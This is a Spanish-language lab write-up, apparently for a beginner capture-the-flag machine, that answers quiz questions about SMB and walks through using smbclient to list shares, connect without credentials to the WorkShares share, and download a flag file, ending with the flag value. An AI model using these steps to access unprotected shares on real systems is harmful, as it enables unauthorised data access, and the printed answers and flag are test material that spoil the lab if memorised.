

Preguntas

What does the 3-letter acronym SMB for?

server message block

What port does SMB use to operate at?

445

What network communication model does SMB use, architecturally speaking?

client_server model

What is the service name for port 445 that came up in our nmap scan?

microsoft-ds

What is the tool we use to connect SMB shares from our Linux distribution?

smbclient

What is the 'flag' or 'switch' we can use with the SMB tool to 'list' the contents of the share?

-l

What is the name of the share we are able to access in the end?

WorkShares

What is the command we can use within the SMB shell to download the files?

get

Metodo de conexión

Smbclient -L IP

Nos dirá que grupos de trabajo existen en la máquina

Smbclient \\\\IP\\
GRUPO

Nos conectará al grupo de trabajo

Comandos básicos

Ls
Cd
Get

Proceso

La máquina se resuelve de la siguiente manera:

1.Escaneo nmap

2.Comando smbclient -L IP Nos mostrara los grupos de trabajo que existen en la máquina

```
> smbclient -L 10.129.213.213
Enter WORKGROUP\zom's password:

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      C$             Disk      Default share
      IPC$           IPC       Remote IPC
      WorkShares     Disk
SMB1 disabled -- no workgroup available
```

3.Comando smbclient \\IP\WorkShares Nos conectará al grupo de trabajo en el que veremos dos directorios

```
> smbclient \\10.129.213.213\WorkShares
Enter WORKGROUP\zom's password:
Try "help" to get a list of possible commands.
smb: \> |
```

4.Comando ls Mostrará los directorios del grupo de trabajo

```
smb: \> ls
.                D          0   Mon Mar 29 10:22:
01 2021
..               D          0   Mon Mar 29 10:22:
01 2021
  Amy.J          D          0   Mon Mar 29 11:08:
24 2021
  James.P        D          0   Thu Jun  3 10:38:
03 2021

5114111 blocks of size 4096. 1748730 blocks available
le
smb: \>
```

5.Comando cd James.J\ Nos moverá al directorio James.J\

```
smb: \> cd James.P\  
smb: \James.P\>
```

6.Comando ls Mostrará el contenido del directorio

```
smb: \James.P\> ls  
.  
03 2021 D 0 Thu Jun 3 10:38:  
..  
03 2021 D 0 Thu Jun 3 10:38:  
flag.txt A 32 Mon Mar 29 11:26:  
57 2021  
  
5114111 blocks of size 4096. 1748730 blocks availab  
le  
smb: \James.P\>
```

7.Comando get flag.txt Nos descargará el archivo flag.txt

```
smb: \James.P\> get flag.txt  
getting file \James.P\flag.txt of size 32 as flag.txt (0,1 KiloByte  
s/sec) (average 0,1 KiloBytes/sec)  
smb: \James.P\>
```

8.Comando exit Salir del cliente de smb

9.Comando ls Nos mostrará el contenido del home en nuestro equipo para comprobar que se ha descargado el archivo.

```
Desktop    flag.txt    powerlevel10k  TheZombrex.ovpn  
Documents  Music       Public         Videos  
Downloads  Pictures    Templates      videos_obs
```

10.Comando cat flag.txt Mostrará el contenido del archivo flag.txt

```
> cat flag.txt  
5f61c10dffbc77a704d76016a22f1664%
```

11.Copiar el contenido del flag.txt y eliminar el archivo con el comando rm flag.txt